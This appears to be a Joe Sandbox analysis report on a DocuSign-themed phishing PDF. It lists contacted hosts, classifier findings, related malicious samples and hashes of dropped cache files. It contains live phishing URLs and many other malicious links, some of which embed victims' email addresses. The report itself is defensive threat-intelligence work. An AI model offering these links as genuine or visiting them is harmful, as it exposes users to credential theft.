https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png	false		high
https://uotdoc.bestdealspk.com/	false		unknown
https://challenges.cloudflare.com/turnstile/v0/g/e4025c85ea63/api.js	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/5r096/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/	false		high
https://rwcq.qonimex.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8e878a247c655e79&lang=auto	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://chrome.cloudflare-dns.com	ea0667a6-b691-4295-8613-cc808542a53e.tmp.4.dr	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.2.dr	false		high
https://uotdoc.bestdealspk.com/)	Finish_Agreement_DocuSign.pdf	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.72.174	rwcq.qonimex.ru	United States	13335	CLOUDFLARENETUS	false
65.21.29.43	unknown	United States	199592	CP-ASDE	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
23.47.168.24	unknown	United States	16625	AKAMAI-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
151.101.66.137	unknown	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.250.181.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562845
Start date and time:	2024-11-26 06:38:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Finish_Agreement_DocuSign.pdf
Detection:	MAL
Classification:	mal56.winPDF@32/75@25/12
Cookbook Comments:	Found application associated with file extension: .pdf

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.20.60.204, 3.219.243.226, 3.233.129.217, 52.6.155.20, 52.22.41.97, 172.64.41.3, 162.159.61.3, 23.203.161.57, 23.32.239.27, 23.32.239.56, 93.184.221.240, 216.58.208.227, 74.125.205.84, 172.217.19.238, 34.104.35.123, 172.217.17.35, 142.250.181.138, 172.217.21.42, 172.217.19.202, 142.250.181.10, 142.250.181.74, 172.217.17.42, 172.217.19.234, 172.217.17.74, 172.217.17.78
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, wu.azureedge.net, clients2.google.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, bestdealspk.com, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, uotdoc.bestdealspk.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Finish_Agreement_DocuSign.pdf

Simulations

Behavior and APIs

Time	Type	Description
00:39:26	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Input	Output
URL: PDF document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Ensure all issues are settled to proceed with the agreement.", "prominent_button_name": "View this Document", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://uotdoc.bestdealspk.com Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": true, "third_party_hosting": true }
URL: https://uotdoc.bestdealspk.com
URL: PDF document Model: Joe Sandbox AI	{ "brands": [ "DocuSign" ] }

URL: https://uotdoc.bestdealspk.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verifying...", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://uotdoc.bestdealspk.com/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }

URL: https://rwcq.qonimex.ru/Q7boMM5R/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter the result", "prominent_button_name": "Submit", "text_input_field_labels": "Enter the result", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://rwcq.qonimex.ru/Q7boMM5R/ Model: Joe Sandbox AI	{ "brands": [] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
151.101.2.137	http://novo.oratoriomariano.com/novo/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://applela.za.com/isignesp.php?id=	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://awqffg.newburuan2023.biz.id/next.php	Get hash	malicious	HTMLPhisher	Browse	code.jquery.com/jquery-1.10.2.min.js
104.21.72.174	09Iz0ja549.exe	Get hash	malicious	FormBook	Browse	www.stellarize.shop/yq32/
65.21.29.43	http://elca.com.co/risebyliftingothers/fxc/bWN2QGNvcmVkYy5jb20=	Get hash	malicious	HTMLPhisher	Browse	producingpeak.com/_y.php?expiatia_1us=YmVzdC5wcm9kdWNpbmdwZWFrLmNvbQ==&u=bWN2QGNvcmVkYy5jb20=
104.18.94.41	http://schneider.com.staffrecords-2024xsowi-dxeobyoji.aluminiosbarros.pt/	Get hash	malicious	Unknown	Browse
	https://docs.google.com/drawings/d/1rnJTD83ySW2kuilnF4J1ffAp0B5BM7BM0Nvi8F8BbSI/preview?pli=1HeatherMitchell-andrew.tokar@overlakehospital.org	Get hash	malicious	HTMLPhisher	Browse
	https://avidgroup.famislnc.com/fvcvfxfec/cc6d843dfd/?1f9da=amtsZW1wQGNhcmlzbHMuY29t	Get hash	malicious	Unknown	Browse
	Fumari INC.eml	Get hash	malicious	Unknown	Browse
	Fumari INC.eml	Get hash	malicious	Unknown	Browse
	https://yancesybros.com/WHF9842BVD.html	Get hash	malicious	Unknown	Browse
	https://protection.cloze.email/r/EKJc7NAc1aGPd0140vt6MnJzYkpI4pQCyldpUEBtdFT8T8dhNmmHodcXxvKddJW4AhfqaDIQj32BX0HxSGbmPeDqDQs/n/SlBNQ05FV1NMRVRURVI/y52l9ppb.r.ap-northeast-1.awstrack.me/L0/https:%2F%2Fcloudprotectionc5f91e84a2b3d9e748f2a1d9b7e5f0c4a2b3d9e7a5pages.dynamixs.workers.dev%2F/1/010601933048cf65-492c630f-d6b3-471e-a31f-bf186231f1e8-000000/SL9CcqykWh2mQIC7eGiOMwzMSpk=185	Get hash	malicious	Unknown	Browse
	http://nakheel.com.staffrecords-2024auaqc-iqodlfdhb.copypremium.com/?staffrecords/2024/=c2FiaWthLmFiaWRAbmFraGVlbC5jb20=	Get hash	malicious	Unknown	Browse
	https://vectaire.doclawfederal.com/uDLtT/	Get hash	malicious	HTMLPhisher	Browse
	https://docs.zoom.us/doc/5mbYcD6lRBK5O3HcDEXhFA?from=email	Get hash	malicious	Unknown	Browse
104.18.95.41	http://schneider.com.staffrecords-2024xsowi-dxeobyoji.aluminiosbarros.pt/	Get hash	malicious	Unknown	Browse
	https://docs.google.com/drawings/d/1rnJTD83ySW2kuilnF4J1ffAp0B5BM7BM0Nvi8F8BbSI/preview?pli=1HeatherMitchell-andrew.tokar@overlakehospital.org	Get hash	malicious	HTMLPhisher	Browse
	Fumari INC.eml	Get hash	malicious	Unknown	Browse
	Fumari INC.eml	Get hash	malicious	Unknown	Browse
	https://yancesybros.com/WHF9842BVD.html	Get hash	malicious	Unknown	Browse
	https://myworkspaceb7705.myclickfunnels.com/ville-de-rouyn-noranda	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse
	https://protection.cloze.email/r/EKJc7NAc1aGPd0140vt6MnJzYkpI4pQCyldpUEBtdFT8T8dhNmmHodcXxvKddJW4AhfqaDIQj32BX0HxSGbmPeDqDQs/n/SlBNQ05FV1NMRVRURVI/y52l9ppb.r.ap-northeast-1.awstrack.me/L0/https:%2F%2Fcloudprotectionc5f91e84a2b3d9e748f2a1d9b7e5f0c4a2b3d9e7a5pages.dynamixs.workers.dev%2F/1/010601933048cf65-492c630f-d6b3-471e-a31f-bf186231f1e8-000000/SL9CcqykWh2mQIC7eGiOMwzMSpk=185	Get hash	malicious	Unknown	Browse
	http://nakheel.com.staffrecords-2024auaqc-iqodlfdhb.copypremium.com/?staffrecords/2024/=c2FiaWthLmFiaWRAbmFraGVlbC5jb20=	Get hash	malicious	Unknown	Browse
	https://docs.zoom.us/doc/5mbYcD6lRBK5O3HcDEXhFA?from=email	Get hash	malicious	Unknown	Browse
	http://sharefileonline.com	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	A095176990000.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	http://schneider.com.staffrecords-2024xsowi-dxeobyoji.aluminiosbarros.pt/	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://kkinternational.co.uk/	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://invites-doc.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://sites.google.com/ceqy.com/rfp/home	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://yancesybros.com/WHF9842BVD.html	Get hash	malicious	Unknown	Browse	151.101.194.137
	http://www.urbanerecycling.com	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	151.101.66.137
	https://clickme.thryv.com/ls/click?upn=u001.dxrPihnXBHUGsddmpkmwUOT9H2uuoftUJgS1ImyDp5PjZ7uor3Bx5LY8846lufrxOd-2B-2FCl5NSKC1v9uXskdIrA-3D-3DPV4X_Uxfyb-2FV90WCSGuHCd77YDe2QH-2FfxD2e5Op8ULStuWwSYUM08QLuqWk0rbdQO8p2GP5XR1Nwn9dFZi5DaOMyz92mdTvaHywQzrJIxcHTOEjrrUNll1a6cdLHKylkZo7LdScnRC-2F7iC6hnMEdduqsWXASxbd-2BZeaoWZvCDaIudlukgt9S3uZsKQeBP86XSjGCyt8CMjRvxL6j1Dyr0eym46qao7knFO6iIo9LZAeoxbyu5E6pzhyc9-2F2VP-2BlZM3Ea-2B-2FiBNpyPNxcoMEQ2om5Ig-2F7RZ8WTAt-2F5MxtsslPlJve5tzpsISP74pi-2B8USUpl-2BAaEmzHGUoeKWRMyxJH35FiSw-3D-3D	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://www.google.com/url?q=https://clickme.thryv.com/ls/click?upn%3Du001.3HlspJ5fg-2BP4CQkV7GSVhvWTpgC6w0k7sA8b2Z9JBYU9BEMXtqHWLHW9PPcpforJszQ3_jzclrAiO28PBUU1ZLf2yC1YJEF5Rt8zDnz4yKbEuFqXf3c0fVOhzL2fXxOYix3CjCrzlLwoIPSXb9PavK50mtpdK-2FWF7thydb3q6E5ptEQiOVUz527Ewi1t813S-2FHejAJLe09fD2VqgM8mtwuQZA9i83VLkCPF4iItCSPXKUpNgWQKWxjEO6jlBp5GYVLghrpKcDuea5GONmLMVlbh4fQe7dtjhTFxxxExxfN1kv5tnx1PPl9DjYIyE468wz1qa1Z-2FWJgZrJbIFEpqhd4o5tGGyUoiPcIot5l2j9dpjy7QKj99ZiCz-2BBLi5dHUIl8gC4RxZBl-2FMaH4IZlQyWpqM-2BtZ9uE3ezFUl2fORMwAp4lQk-3D%23Cjanetrosenbach@imageindustries.com&source=gmail-imap&ust=1733149343000000&usg=AOvVaw1uIAp-JnZbTlkY9Td9ZLJj	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	http://nakheel.com.staffrecords-2024auaqc-iqodlfdhb.copypremium.com/?staffrecords/2024/=c2FiaWthLmFiaWRAbmFraGVlbC5jb20=	Get hash	malicious	Unknown	Browse	151.101.194.137
challenges.cloudflare.com	http://schneider.com.staffrecords-2024xsowi-dxeobyoji.aluminiosbarros.pt/	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://docs.google.com/drawings/d/1rnJTD83ySW2kuilnF4J1ffAp0B5BM7BM0Nvi8F8BbSI/preview?pli=1HeatherMitchell-andrew.tokar@overlakehospital.org	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://avidgroup.famislnc.com/fvcvfxfec/cc6d843dfd/?1f9da=amtsZW1wQGNhcmlzbHMuY29t	Get hash	malicious	Unknown	Browse	104.18.94.41
	Fumari INC.eml	Get hash	malicious	Unknown	Browse	104.18.94.41
	Fumari INC.eml	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://yancesybros.com/WHF9842BVD.html	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://myworkspaceb7705.myclickfunnels.com/ville-de-rouyn-noranda	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.18.95.41
	https://protection.cloze.email/r/EKJc7NAc1aGPd0140vt6MnJzYkpI4pQCyldpUEBtdFT8T8dhNmmHodcXxvKddJW4AhfqaDIQj32BX0HxSGbmPeDqDQs/n/SlBNQ05FV1NMRVRURVI/y52l9ppb.r.ap-northeast-1.awstrack.me/L0/https:%2F%2Fcloudprotectionc5f91e84a2b3d9e748f2a1d9b7e5f0c4a2b3d9e7a5pages.dynamixs.workers.dev%2F/1/010601933048cf65-492c630f-d6b3-471e-a31f-bf186231f1e8-000000/SL9CcqykWh2mQIC7eGiOMwzMSpk=185	Get hash	malicious	Unknown	Browse	104.18.95.41
	http://nakheel.com.staffrecords-2024auaqc-iqodlfdhb.copypremium.com/?staffrecords/2024/=c2FiaWthLmFiaWRAbmFraGVlbC5jb20=	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://vectaire.doclawfederal.com/uDLtT/	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CP-ASDE	RasTls.dll	Get hash	malicious	Unknown	Browse	65.20.90.139
	RasTls.dll	Get hash	malicious	Unknown	Browse	65.20.90.139
	RFQ.scr.exe	Get hash	malicious	Discord Token Stealer	Browse	65.21.66.211
	hiss.arm7.elf	Get hash	malicious	Unknown	Browse	65.20.118.153
	Payload 94.75 (2).225.exe	Get hash	malicious	Unknown	Browse	65.21.172.133
	Payload 94.75.225.exe	Get hash	malicious	Unknown	Browse	65.21.98.72
	0438.pdf.exe	Get hash	malicious	Unknown	Browse	65.21.245.7
	0438.pdf.exe	Get hash	malicious	Unknown	Browse	65.21.245.7
	J4zGPhVRV3.exe	Get hash	malicious	RMSRemoteAdmin	Browse	65.21.245.7
	J4zGPhVRV3.exe	Get hash	malicious	RMSRemoteAdmin	Browse	65.21.245.7
CLOUDFLARENETUS	http://www.btc1yby.blogspot.rs/	Get hash	malicious	GRQ Scam	Browse	172.67.12.83
	WOOYANG VENUS PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	172.67.74.152
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.7.169
	kkEzK284oT.exe	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.187.240
	5QnwxSJVyX.doc	Get hash	malicious	Unknown	Browse	162.159.136.232
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.67.187.240
	file.exe	Get hash	malicious	Unknown	Browse	104.21.7.169
CLOUDFLARENETUS	http://www.btc1yby.blogspot.rs/	Get hash	malicious	GRQ Scam	Browse	172.67.12.83
	WOOYANG VENUS PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	172.67.74.152
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.7.169
	kkEzK284oT.exe	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.187.240
	5QnwxSJVyX.doc	Get hash	malicious	Unknown	Browse	162.159.136.232
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.67.187.240
	file.exe	Get hash	malicious	Unknown	Browse	104.21.7.169
CLOUDFLARENETUS	http://www.btc1yby.blogspot.rs/	Get hash	malicious	GRQ Scam	Browse	172.67.12.83
	WOOYANG VENUS PARTICULARS.pdf.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	172.67.74.152
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.7.169
	kkEzK284oT.exe	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.187.240
	5QnwxSJVyX.doc	Get hash	malicious	Unknown	Browse	162.159.136.232
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Unknown	Browse	172.67.187.240
	file.exe	Get hash	malicious	Unknown	Browse	104.21.7.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://www.btc1yby.blogspot.rs/	Get hash	malicious	GRQ Scam	Browse	23.218.208.109 20.12.23.50
	http://awumnf.com	Get hash	malicious	Unknown	Browse	23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	Cryptbot	Browse	23.218.208.109 20.12.23.50
	https://cp-wb-pe-2-ujft-9-kslojlj-5-gdr-3-cwge-5-h5-posg-3.vercel.app/?web=minjeong.cho@hyundaimovex.com	Get hash	malicious	Unknown	Browse	23.218.208.109 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.208.109 20.12.23.50
	http://nxsnsstwhbaf.apexhallechuca.com.au/?userid=bHN3ZXN0LXN5c0BudHRscy5jby5qcA==	Get hash	malicious	Unknown	Browse	23.218.208.109 20.12.23.50
	http://bc1qcr8muz00d2v7uqg5ggulrmm.com	Get hash	malicious	Unknown	Browse	23.218.208.109 20.12.23.50

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.176814621289985
Encrypted:	false
SSDEEP:	6:HGaIq2PRN2nKuAl9OmbnIFUt8YG/0vZZmw+YG/0vzkwORN2nKuAl9OmbjLJ:mrvaHAahFUt8N/4/+N/g5JHAaSJ
MD5:	6FA79DFA1FAA072564B9F6D7054BD77F
SHA1:	556FA8A8A4006A0CDDE41271580232EA41DE42E3
SHA-256:	EEBC41C72B755949661057A50898ECC42331D56E70FA019B4FE1E884A4374A36
SHA-512:	1A0C713B25BB5197C00F5FAE27A56C0A70DA7E840FB72697809271740F36FE2820A0881A63FD8D043BDFC2329BE913A65B76A43D8BCF596BEA6C997132FEAF09
Malicious:	false
Reputation:	low
Preview:	2024/11/26-00:39:12.884 1a80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/11/26-00:39:12.886 1a80 Recovering log #3.2024/11/26-00:39:12.886 1a80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.176814621289985
Encrypted:	false
SSDEEP:	6:HGaIq2PRN2nKuAl9OmbnIFUt8YG/0vZZmw+YG/0vzkwORN2nKuAl9OmbjLJ:mrvaHAahFUt8N/4/+N/g5JHAaSJ
MD5:	6FA79DFA1FAA072564B9F6D7054BD77F
SHA1:	556FA8A8A4006A0CDDE41271580232EA41DE42E3
SHA-256:	EEBC41C72B755949661057A50898ECC42331D56E70FA019B4FE1E884A4374A36
SHA-512:	1A0C713B25BB5197C00F5FAE27A56C0A70DA7E840FB72697809271740F36FE2820A0881A63FD8D043BDFC2329BE913A65B76A43D8BCF596BEA6C997132FEAF09
Malicious:	false
Reputation:	low
Preview:	2024/11/26-00:39:12.884 1a80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/11/26-00:39:12.886 1a80 Recovering log #3.2024/11/26-00:39:12.886 1a80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.177205094590974
Encrypted:	false
SSDEEP:	6:HGLEt+q2PRN2nKuAl9Ombzo2jMGIFUt8YGgZmw+YGNa03VkwORN2nKuAl9Ombzos:mwovaHAa8uFUt8Ng/+NNa0F5JHAa8RJ
MD5:	3ABA3947FA16164D224C1EBFE1A741E9
SHA1:	7FF26ECCD23F5C034F72DE2D9EBF00F2B6F5B8E9
SHA-256:	68F55142C43F372CE23A0BA98BC8A07AC0207279D859F603B665AF359E655586
SHA-512:	F791F5A20C4133333ECFE2E365B42D397DACD6E687EE1DFC7C7AF735B6A1A228BBDD748BA4D13A8AE0B43A6E67FC0DA6CC0B896041009572E31D7873556CAC94
Malicious:	false
Reputation:	low
Preview:	2024/11/26-00:39:12.769 10a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/11/26-00:39:12.772 10a8 Recovering log #3.2024/11/26-00:39:12.773 10a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.177205094590974
Encrypted:	false
SSDEEP:	6:HGLEt+q2PRN2nKuAl9Ombzo2jMGIFUt8YGgZmw+YGNa03VkwORN2nKuAl9Ombzos:mwovaHAa8uFUt8Ng/+NNa0F5JHAa8RJ
MD5:	3ABA3947FA16164D224C1EBFE1A741E9
SHA1:	7FF26ECCD23F5C034F72DE2D9EBF00F2B6F5B8E9
SHA-256:	68F55142C43F372CE23A0BA98BC8A07AC0207279D859F603B665AF359E655586
SHA-512:	F791F5A20C4133333ECFE2E365B42D397DACD6E687EE1DFC7C7AF735B6A1A228BBDD748BA4D13A8AE0B43A6E67FC0DA6CC0B896041009572E31D7873556CAC94
Malicious:	false
Reputation:	low
Preview:	2024/11/26-00:39:12.769 10a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/11/26-00:39:12.772 10a8 Recovering log #3.2024/11/26-00:39:12.773 10a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.9859171091194625
Encrypted:	false
SSDEEP:	12:YHO8sq2vusBdOg2Hacaq3QYiubrP7E4TX:YXsFvzdMHV3QYhbz7n7
MD5:	FF95988BCC7222F9831E9760948CA922
SHA1:	78C9D0E0B928C614BF38265C74527B80A9326B9E
SHA-256:	8E4B485E4B3B7689605FA80E89288BB3D71E064F65C524C091208F0ECFD6CCEE
SHA-512:	5C307567D23D0578C9C470AA2D66294948131AD96B18D51846CC6566FCA5C78A14089EB915A8A3B18E583C2D67338F04A0C9CECA2FFE73D10E20110D66A2F02A
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377159564543260","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":666826},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ea0667a6-b691-4295-8613-cc808542a53e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	403
Entropy (8bit):	4.9859171091194625
Encrypted:	false
SSDEEP:	12:YHO8sq2vusBdOg2Hacaq3QYiubrP7E4TX:YXsFvzdMHV3QYhbz7n7
MD5:	FF95988BCC7222F9831E9760948CA922
SHA1:	78C9D0E0B928C614BF38265C74527B80A9326B9E
SHA-256:	8E4B485E4B3B7689605FA80E89288BB3D71E064F65C524C091208F0ECFD6CCEE
SHA-512:	5C307567D23D0578C9C470AA2D66294948131AD96B18D51846CC6566FCA5C78A14089EB915A8A3B18E583C2D67338F04A0C9CECA2FFE73D10E20110D66A2F02A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377159564543260","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":666826},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.231118001874558
Encrypted:	false
